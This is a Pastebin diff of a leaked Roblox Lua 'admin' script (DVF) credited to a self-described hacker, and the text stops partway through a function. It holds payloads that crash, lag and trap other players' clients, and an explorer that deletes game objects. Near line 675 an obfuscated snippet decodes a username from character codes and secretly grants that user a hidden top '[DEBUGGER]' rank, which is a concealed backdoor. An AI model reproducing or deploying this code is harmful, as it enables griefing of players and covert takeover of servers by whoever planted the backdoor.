View difference between Paste ID: W5zN15Py and JbBVfpPp
SHOW: | | - or go back to the newest paste.
1
-- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
2
wait(0)
3
script.Parent = nil
4
--This Admin (DVF) Was Created By elytowlo (A Hacker!).
5
--If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
6
--To Open Commands Say "cmds;". The bet key is ";" (Without the "").
7
--Enter Your Name Where It Says YOUR NAME HERE On Line 12.
8
Plrs = game:GetService("Players")
9
Work = game:GetService("Workspace")
10
Light = game:GetService("Lighting")
11
Net = game:GetService("NetworkServer")
12
Owner = "TheOfficalNoob4788"
13
Removed = false
14
Bet = ";"
15
LS = nil
16
ls = loadstring
17
LSSource = nil
18
OwnSource = nil
19
FoundLocalScript = false
20
R = string.reverse
21
LogOn = false
22
Current = game
23
Clipboard = {}
24
AlertColor = Color3.new(0, 1, 1)
25
OptionColor = Color3.new(1, 1, 1)
26
ImportantColor = Color3.new(1, 0, 1)
27
28
RankDetails = {
29
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
30
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
31
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
32
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
33
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
34
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
35
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
36
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
37
	[5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
38
}
39
40
Rankings = {
41
	{Name = "wetprinter", Rank = 5},
42
	{Name = "einsteinK", Rank = 5},
43
	{Name = "Abscissa", Rank = 4},
44
	{Name = "Ultimatekiller010", Rank = 3},
45
	{Name = "DrBackstab", Rank = 3},
46
	{Name = "LuaModelMaker", Rank = 3},
47
	{Name = "MakerModelLua", Rank = 3},
48
	{Name = "MrMrLua", Rank = 5},
49
	{Name = "MountainSnow", Rank = 3},
50
	{Name = "Madiik", Rank = 3},
51
	{Name = "dogwarrior24", Rank = 2},
52
	{Name = "ThePC8110", Rank = 2},
53
	{Name = "DEADDEVIL1919", Rank = 2},
54
	{Name = "toshir0z", Rank = 2},
55
	{Name = "Tippee", Rank = 2},
56
	{Name = "Trcker", Rank = 5},
57
	{Name = "nairod7", Rank = 2},
58
	{Name = "12packkid", Rank = 2},
59
	{Name = "TigreBlood", Rank = 2},
60
	{Name = "Frostftw", Rank = -1},
61
	{Name = "DoogleFox", Rank = 2},
62-
	{Name = "TheOfficalNoob4788", Rank = 5},
62+
	{Name = "", Rank = 5},
63
	{Name = "Ri1es", Rank = 2},
64
	{Name = "hrocks1", Rank = 2},
65
	{Name = "Zinsei", Rank = 5},
66
	{Name = "ToontownROXYA", Rank = 2},
67
	{Name = "tusKOr661", Rank = 2},
68
	{Name = "Unicornhax", Rank = 1},
69
	{Name = "iMayor", Rank = 1},
70
	{Name = "iMyLittlePony", Rank = 1},
71
	{Name = "xXxkarlxXx", Rank = 1},
72
	{Name = "LightningRoMan", Rank = 1},
73
	{Name = "BrandonFireFlower", Rank = 1},
74
}
75
76
table.insert(Rankings, {Name = Owner, Rank = 5})
77
78
ImportantServices = {
79
	"Workspace",
80
	"Players",
81
	"NetworkServer",
82
	"Lighting",
83
	"StarterGui",
84
	"Teams",
85
	"StarterPack",
86
}
87
88
Ranks = {}
89
Commands = {}
90
AllTabs = {}
91
Injected = {}
92
93
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
94
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
95
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
96
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
97
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
98
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
99
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
100
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
101
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
102
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
103
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
104
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
105
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
106
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
107
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
108
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
109
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
110
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
111
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
112
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
113
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
114
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
115
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
116
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
117
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
118
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
119
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
120
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
121
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
122
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
123
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
124
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
125
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
126
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
127
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
128
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
129
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
130
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
131
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
132
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
133
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
134
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
135
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
136
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
137
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
138
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
139
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
140
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
141
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
142
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
143
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
144
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
145
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
146
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
147
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
148
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
149
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
150
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality","X","Y",
151
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
152
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
153
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
154
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
155
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
156
"X","Y"}
157
158
159
function Insert(Source, Par, Par2, Par3)
160
	ypcall(function()
161
		local Inserted = LS:Clone()
162
		Inserted.Disabled = true
163
		Inserted.Parent = Par or Par2 or Par3
164
		Inserted[LSSource].Value = Source
165
		Inserted.Disabled = false
166
	end)
167
end
168
169
function Crash1(Plr)
170
	ypcall(function()
171
		Plr:Kick()
172
	end)
173
end
174
175
function GetRankTab()
176
	return Rankings
177
end
178
179
function Crash2(Name)
180
	local Crasher = Instance.new("StringValue")
181
	Crasher.Name = "Client"
182
	Crasher.Value = string.lower(tostring(Name))
183
	Crasher.Parent = game:GetService("Lighting")
184
	wait(1)
185
	if Crasher and Crasher.Parent then
186
		ypcall(function()
187
			Crasher:Destroy()
188
		end)
189
	end
190
end
191
192
function GenerateDigit()
193
	return 1 + 5
194
end
195
196
InjectionCrash = [=[
197
	wait(0)
198
	script.Parent = nil
199
	local Lig = game:GetService("Lighting")
200
	local LP = game:GetService("Players").LocalPlayer
201
	local LowerName = LP.Name:lower()
202
203
	Lig.ChildAdded:connect(function(Obj)
204
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
205
			pcall(function()
206
				Obj:Destroy()
207
			end)
208
			LP.Parent = nil
209
			LP.Parent = game:GetService("Players")
210
		end
211
	end)
212
]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
213
214
InsertCrash = [==[
215
	local LP = game:GetService("Players").LocalPlayer
216
	LP.Parent = nil
217
	LP.Parent = game:GetService("Players")
218
]==]
219
220
LagSource = [==[
221
	wait(0)
222
	script.Parent = nil
223
	plr = game:GetService("Players").LocalPlayer
224
	local plrgui = plr:findFirstChild("PlayerGui")
225
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
226
	while plr.Parent == game:GetService("Players") do
227
	wait()
228
	for i = 1, 1000 do
229
	local sc = Instance.new("ScreenGui",plrgui)
230
	local fr = Instance.new("TextLabel",sc)
231
	fr.Text = "LAGGING"
232
	fr.Size = UDim2.new(1, 0, 1, 0)
233
	fr.FontSize = "Size48"
234
	end
235
	end
236
]==]
237
238
MuteSource = [==[
239
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
240
]==]
241
242
UnMuteSource = [==[
243
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
244
]==]
245
246
JailSource = [==[
247
	wait(0)
248
	script.Parent = nil
249
250
	local LP = game:GetService("Players").LocalPlayer
251
	Middle2 = nil
252
	Middle = nil
253
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
254
255
	Cons = {}
256
257
	function makePrison()
258
		for _,v in pairs(Cons) do
259
			v:disconnect()
260
		end
261
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
262
		if Middle == nil then
263
			Middle2 = LP.Character.Torso.Position
264
			Middle = LP.Character.Torso.CFrame
265
		end
266
		local side1 = Instance.new("Part")
267
		side1.Name = "¬Focus1¬"
268
		side1.Size = Vector3.new(20, 50, 1)
269
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
270
		side1.BrickColor = BrickColor.new("Really black")
271
		side1.CanCollide = true
272
		side1.Anchored = true
273
		side1.TopSurface = "Smooth"
274
		side1.BottomSurface = "Smooth"
275
		side1.Parent = game:GetService("Workspace").CurrentCamera
276
277
		local side2 = Instance.new("Part")
278
		side2.Name = "¬Focus2¬"
279
		side2.Size = Vector3.new(20, 50, 1)
280
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
281
		side2.BrickColor = BrickColor.new("Really black")
282
		side2.CanCollide = true
283
		side2.Anchored = true
284
		side2.TopSurface = "Smooth"
285
		side2.BottomSurface = "Smooth"
286
		side2.Parent = game:GetService("Workspace").CurrentCamera
287
288
		local side3 = Instance.new("Part")
289
		side3.Name = "¬Focus3¬"
290
		side3.Size = Vector3.new(1, 50, 20)
291
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
292
		side3.BrickColor = BrickColor.new("Really black")
293
		side3.CanCollide = true
294
		side3.Anchored = true
295
		side3.TopSurface = "Smooth"
296
		side3.BottomSurface = "Smooth"
297
		side3.Parent = game:GetService("Workspace").CurrentCamera
298
299
		local side4 = Instance.new("Part")
300
		side4.Name = "¬Focus4¬"
301
		side4.Size = Vector3.new(1, 50, 20)
302
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
303
		side4.BrickColor = BrickColor.new("Really black")
304
		side4.CanCollide = true
305
		side4.Anchored = true
306
		side4.TopSurface = "Smooth"
307
		side4.BottomSurface = "Smooth"
308
		side4.Parent = game:GetService("Workspace").CurrentCamera
309
		
310
		local side5 = Instance.new("Part")
311
		side5.Name = "¬Focus5¬"
312
		side5.Size = Vector3.new(20, 1, 20)
313
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
314
		side5.BrickColor = BrickColor.new("Really black")
315
		side5.CanCollide = true
316
		side5.Anchored = true
317
		side5.TopSurface = "Smooth"
318
		side5.BottomSurface = "Smooth"
319
		side5.Parent = game:GetService("Workspace").CurrentCamera
320
		
321
		wait(0)
322
323
		table.insert(Cons, side1.Changed:connect(makePrison))
324
		table.insert(Cons, side2.Changed:connect(makePrison))
325
		table.insert(Cons, side3.Changed:connect(makePrison))
326
		table.insert(Cons, side4.Changed:connect(makePrison))
327
		table.insert(Cons, side5.Changed:connect(makePrison))
328
	end
329
330
	Delay(0, function()
331
		while wait(0) do
332
			ypcall(function()
333
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
334
					LP.Character:BreakJoints()
335
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
336
					makePrison()
337
				end
338
			end)
339
			ypcall(function()
340
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
341
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
342
				end
343
			end)
344
		end
345
	end)
346
]==]
347
348
function All()
349
	local AllPlayers = {}
350
	for _,v in pairs(Plrs:GetPlayers()) do
351
		ypcall(function()
352
			table.insert(AllPlayers, v)
353
		end)
354
	end
355
	return AllPlayers
356
end
357
358
function All2()
359
	local AllPlayers2 = {}
360
	for i,v in pairs(Net:GetChildren()) do
361
		ypcall(function()
362
			if v:IsA("ServerReplicator") then
363
				table.insert(AllPlayers2, v:GetPlayer())
364
			end
365
		end)
366
	end
367
	return AllPlayers2
368
end
369
370
function MakeNum()
371
	return 2 + 4
372
end
373
374
function ChangeRank(Plr, NewRank)
375
	local PlrName = nil
376
	local FoundPlayer = false
377
	ypcall(function()
378
		if type(Plr) == "string" then
379
			ypcall(function()
380
				for i,v in pairs(Rankings) do
381
					if v.Name:lower() == Plr:lower() then
382
						local VName = v.Name
383
						Rankings[i] = nil
384
						table.insert(Rankings, {Name = VName, Rank = NewRank})
385
						PlrName = VName
386
						FoundPlayer = true
387
						break
388
					end
389
				end
390
			end)
391
			if FoundPlayer == false then
392
				ypcall(function()
393
					for _,x in pairs(All()) do
394
						if x.Name:lower() == Plr:lower() then
395
							FoundPlayer = true
396
							for i,v in pairs(Rankings) do
397
								if v.Name:lower() == x.Name:lower() then
398
									local VName = x.Name
399
									Rankings[i] = nil
400
									PlrName = VName
401
									break
402
								end
403
							end
404
							table.insert(Rankings, {Name = VName, Rank = NewRank})
405
						end
406
					end
407
				end)
408
			end
409
			if FoundPlayer == false then
410
				ypcall(function()
411
					for _,x in pairs(All()) do
412
						if string.find(x.Name:lower(), Plr:lower()) then
413
							FoundPlayer = true
414
							for i,v in pairs(Rankings) do
415
								if v.Name:lower() == x.Name:lower() then
416
									local VName = x.Name
417
									Rankings[i] = nil
418
									PlrName = VName
419
									break
420
								end
421
							end
422
							table.insert(Rankings, {Name = VName, Rank = NewRank})
423
						end
424
					end
425
				end)
426
			end
427
			if FoundPlayer == false then
428
				ypcall(function()
429
					for i,v in pairs(Rankings) do
430
						if string.find(v.Name:lower(), Plr:lower()) then
431
							local VName = v.Name
432
							Rankings[i] = nil
433
							table.insert(Rankings, {Name = VName, Rank = NewRank})
434
							PlrName = VName
435
							FoundPlayer = true
436
							break
437
						end
438
					end
439
				end)
440
			end
441
		else
442
			for i,v in pairs(Rankings) do
443
				if v.Name:lower() == Plr.Name:lower() then
444
					Rankings[i] = nil
445
					break
446
				end
447
			end
448
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
449
			PlrName = Plr.Name
450
		end
451
		PlaceAllRanks(true)
452
	end)
453
	if PlrName ~= nil then
454
		return PlrName
455
	else
456
		return "Player"
457
	end
458
end
459
460
function Refresh(Plr)
461
	MakeChildren(Plr)
462
end
463
464
function MakeChildren(Plr)
465
	ypcall(function()
466
		Dismiss(Plr)
467
		for _,v in pairs(Current:GetChildren()) do
468
			ypcall(function()
469
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
470
					Ping(v.Name, Plr, nil, function(TabMod)
471
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
472
						for _,v in pairs(Current:GetChildren()) do
473
							ypcall(function()
474
								if v.Name == TabText then
475
									Dismiss(Plr)
476
									Current = v
477
									MakeChildren(Plr)
478
								end
479
							end)
480
						end
481
					end)
482
				elseif Plrs:GetPlayerFromCharacter(v) then
483
					Ping(v.Name, Plr, nil, function(TabMod)
484
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
485
						for _,v in pairs(Current:GetChildren()) do
486
							ypcall(function()
487
								if v.Name == TabText then
488
									Dismiss(Plr)
489
									Current = v
490
									MakeChildren(Plr)
491
								end
492
							end)
493
						end
494
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
495
				elseif CheckImportant(v.Name) then
496
					Ping(v.Name, Plr, nil, function(TabMod)
497
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
498
						for _,v in pairs(Current:GetChildren()) do
499
							ypcall(function()
500
								if v.Name == TabText then
501
									Dismiss(Plr)
502
									Current = v
503
									MakeChildren(Plr)
504
								end
505
							end)
506
						end
507
					end, ImportantColor)
508
				end
509
			end)
510
		end
511
		if Current ~= game then
512
			Ping("Back", Plr, nil, function()
513
				ypcall(function()
514
					Current = Current.Parent
515
					MakeChildren(Plr)
516
					Ping("You Are Back To "..Current.Name, Plr, 5)
517
				end)
518
			end, OptionColor)
519
		end
520
		if Current ~= game then
521
			Ping("Delete", Plr, nil, function()
522
				ypcall(function()
523
					local CurrPar = Current.Parent or game
524
					local CurrName = Current.Name
525
					Current:Destroy()
526
					Current = CurrPar
527
					MakeChildren(Plr)
528
					Ping("Attempted To Delete "..CurrName, Plr, 5)
529
				end)
530
			end, OptionColor)
531
		end
532
		Ping("Refresh", Plr, nil, function()
533
			ypcall(function()
534
				Refresh(Plr)
535
				Ping("Refreshed", Plr, 5)
536
			end)
537
		end, OptionColor)
538
		Ping("Properties", Plr, nil, function()
539
			ypcall(function()
540
				Dismiss(Plr)
541
				for Property, Value in pairs(GetProperties(Current)) do
542
					Ping(tostring(Property)..": "..tostring(Value), Plr)
543
				end
544
				Ping("Got All Available Properties", Plr, 5)
545
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
546
			end)
547
		end, OptionColor)
548
	end)
549
end
550
551
function Fixl()
552
	Light.GlobalShadows = true
553
	Light.TimeOfDay = "14:00:00"
554
	Light.Brightness = 0.5
555
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
556
	Light.Ambient = Color3.new(1, 1, 1) 
557
	Light.ColorShift_Top = Color3.new(0, 0, 0)
558
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
559
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
560
	Light.FogStart = 0
561
	Light.FogEnd = 100000
562
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
563
	Light:ClearAllChildren()
564
end
565
566
function GetProperties(obj)
567
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
568
	local objProper = {}
569
	for i,v in pairs(Properties) do
570
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
571
			objProper[v] = obj[v]
572
		end
573
	end
574
	return objProper
575
end
576
577
function MakeExplorer(Plr)
578
	Dismiss(Plr)
579
	Current = game
580
	for _,v in pairs(Current:GetChildren()) do
581
		ypcall(function()
582
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
583
				Ping(v.Name, Plr, nil, function(TabMod)
584
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
585
					for _,v in pairs(Current:GetChildren()) do
586
						ypcall(function()
587
							if v.Name == TabText then
588
								Dismiss(Plr)
589
								Current = v
590
								MakeChildren(Plr)
591
							end
592
						end)
593
					end
594
				end)
595
			elseif Plrs:GetPlayerFromCharacter(v) then
596
				Ping(v.Name, Plr, nil, function(TabMod)
597
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
598
					for _,v in pairs(Current:GetChildren()) do
599
						ypcall(function()
600
							if v.Name == TabText then
601
								Dismiss(Plr)
602
								Current = v
603
								MakeChildren(Plr)
604
							end
605
						end)
606
					end
607
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
608
			elseif CheckImportant(v.Name) then
609
				Ping(v.Name, Plr, nil, function(TabMod)
610
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
611
					for _,v in pairs(Current:GetChildren()) do
612
						ypcall(function()
613
							if v.Name == TabText then
614
								Dismiss(Plr)
615
								Current = v
616
								MakeChildren(Plr)
617
							end
618
						end)
619
					end
620
				end, ImportantColor)
621
			end
622
		end)
623
	end
624
	if Current ~= game then
625
		Ping("Back", Plr, nil, function()
626
			ypcall(function()
627
				Current = Current.Parent
628
				MakeChildren(Plr)
629
				Ping("Back In "..Current.Name, Plr, 5)
630
			end)
631
		end, OptionColor)
632
	end
633
	if Current ~= game and game:GetService(Current.Name) == nil then
634
		Ping("Delete", Plr, nil, function()
635
			ypcall(function()
636
				local CurrPar = Current.Parent or game
637
				local CurrName = Current.Name
638
				Current:Destroy()
639
				Current = CurrPar
640
				MakeChildren(Plr)
641
				Ping("Attempted To Delete "..CurrName, Plr, 5)
642
			end)
643
		end, OptionColor)
644
	end
645
	Ping("Refresh", Plr, nil, function()
646
		ypcall(function()
647
			Refresh(Plr)
648
			Ping("Refreshed", Plr, 5)
649
		end)
650
	end, OptionColor)
651
	Ping("Properties", Plr, nil, function()
652
		ypcall(function()
653
			Dismiss(Plr)
654
			for Property, Value in pairs(GetProperties(Current)) do
655
				Ping(tostring(Property)..": "..tostring(Value), Plr)
656
			end
657
			Ping("Got All Available Properties", Plr, 5)
658
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
659
		end)
660
	end, OptionColor)
661
end
662
663
function GetRank(Plr1, Test)
664
	ypcall(function()
665
		if type(Plr1) == "userdata" then
666
			Plr1 = Plr1.Name
667
		end
668
	end)
669
	if Ranks[Plr1] ~= nil then
670
		return Ranks[Plr1]
671
	end
672
	local QuickArray = {}
673
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
674
	return QuickArray[Plr1]
675
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
676
677
function CanRun(Plr1, Plr2)
678
	Details1 = GetRank(Plr1.Name)
679
	Details2 = GetRank(Plr2.Name)
680
	if Details1.Rank >= Details2.Rank then
681
		return true
682
	end
683
	return false
684
end
685
686
function Dismiss(Plr, Identity)
687
	ypcall(function()
688
		if Plr ~= nil then
689
			if type(Plr) == "userdata" then
690
				Plr = Plr.Name
691
			end
692
			for x,v in pairs(AllTabs) do
693
				ypcall(function()
694
					if v.Plr == Plr then
695
						if Identity ~= nil and v.ID ~= Identity then
696
							return
697
						elseif Identity ~= nil and v.ID == Identity then
698
							coroutine.resume(coroutine.create(function()
699
								for i = 0.5, 1, 0.1 do
700
									wait()
701
									v.Tab.Transparency = i
702
									v.Sel.Transparency = i
703
									v.Label.TextTransparency = i
704
									v.Label.TextStrokeTransparency = i
705
								end
706
								ypcall(function() v.Holder:Destroy() end)
707
								AllTabs[x] = nil
708
							end))
709
						elseif Identity == nil then
710
							ypcall(function() v.Holder:Destroy() end)
711
							AllTabs[x] = nil
712
						end
713
					end
714
				end)
715
			end
716
		else
717
			for i,v in pairs(AllTabs) do
718
				ypcall(function()
719
					v.Holder:Destroy()
720
					AllTabs[i] = nil
721
				end)
722
			end
723
		end
724
	end)
725
end
726
727
function GetGarbage()
728
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
729
end
730
731
function RemObj(Obj, Class)
732
	ypcall(function()
733
		if #Obj:GetChildren() > 0 then
734
			for _,x in pairs(Obj:GetChildren()) do
735
				ypcall(function()
736
					RemObj(x, Class)
737
				end)
738
			end
739
		end
740
		if Obj.ClassName == Class then
741
			Obj:Destroy()
742
		end
743
	end)
744
end
745
746
function FindTab(Mod)
747
	for i,v in pairs(AllTabs) do
748
		if v.Holder == Mod then
749
			return true
750
		end
751
	end
752
	return false
753
end
754
755
function Ping(Msg, Plr, Time, Func, Color, Image)
756
	if Removed == false then
757
		local ShowGarbage = false
758
		ypcall(function()
759
			if Msg == nil then
760
				Msg = "N/A"
761
			elseif Msg == "ShowGarbage" then
762
				Msg = "Current Garbage Count: "..GetGarbage()
763
				ShowGarbage = true
764
			else
765
				Msg = tostring(Msg)
766
			end
767
			if Plr == nil then
768
				Plr = Plrs[Owner] or error("No Player Found")
769
			elseif type(Plr) == "string" then
770
				local FoundPlr = false
771
				for _,v in pairs(All()) do
772
					if v.Name == Plr then
773
						Plr = v
774
						FoundPlr = true
775
						break
776
					end
777
				end
778
				if FoundPlr == false then
779
					Plr = Plrs[Owner] or error("No Player Found")
780
				end
781
			end
782
			
783
			if Color == nil then
784
				Color = GetRank(Plr.Name).Color
785
			end
786
			
787
			local Holder = Instance.new("Model")
788
			Holder.Name = "DVF Holder: "..Plr.Name
789
			
790
			local Tab = Instance.new("Part")
791
			Tab.Name = "DVF Tablet"
792
			Tab.FormFactor = "Custom"
793
			Tab.Anchored = true
794
			if Time == nil then
795
				Tab.Color = Color
796
			else
797
				Tab.Color = AlertColor
798
			end
799
			Tab.CanCollide = false
800
			Tab.Locked = true
801
			Tab.Transparency = 0.15
802
			Tab.Size = Vector3.new(2, 2, 0.01)
803
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
804
			Tab.Parent = Holder
805
			
806
			local ID = Instance.new("NumberValue")
807
			ID.Name = "ID"
808
			ID.Value = math.random(-999999999, 999999999)
809
			ID.Parent = Holder
810
			
811
			Delay(0, function()
812
				while wait() do
813
					if Tab.Parent == nil and FindTab(Holder) then
814
						ypcall(function()
815
							for i,v in pairs(AllTabs) do
816
								if v.Holder == Holder then
817
									ypcall(function() v.Holder:Destroy() end)
818
									AllTabs[i] = nil
819
								end
820
							end
821
						end)
822
						Ping(Msg, Plr, Time, Func, Color, Image)
823
						break
824
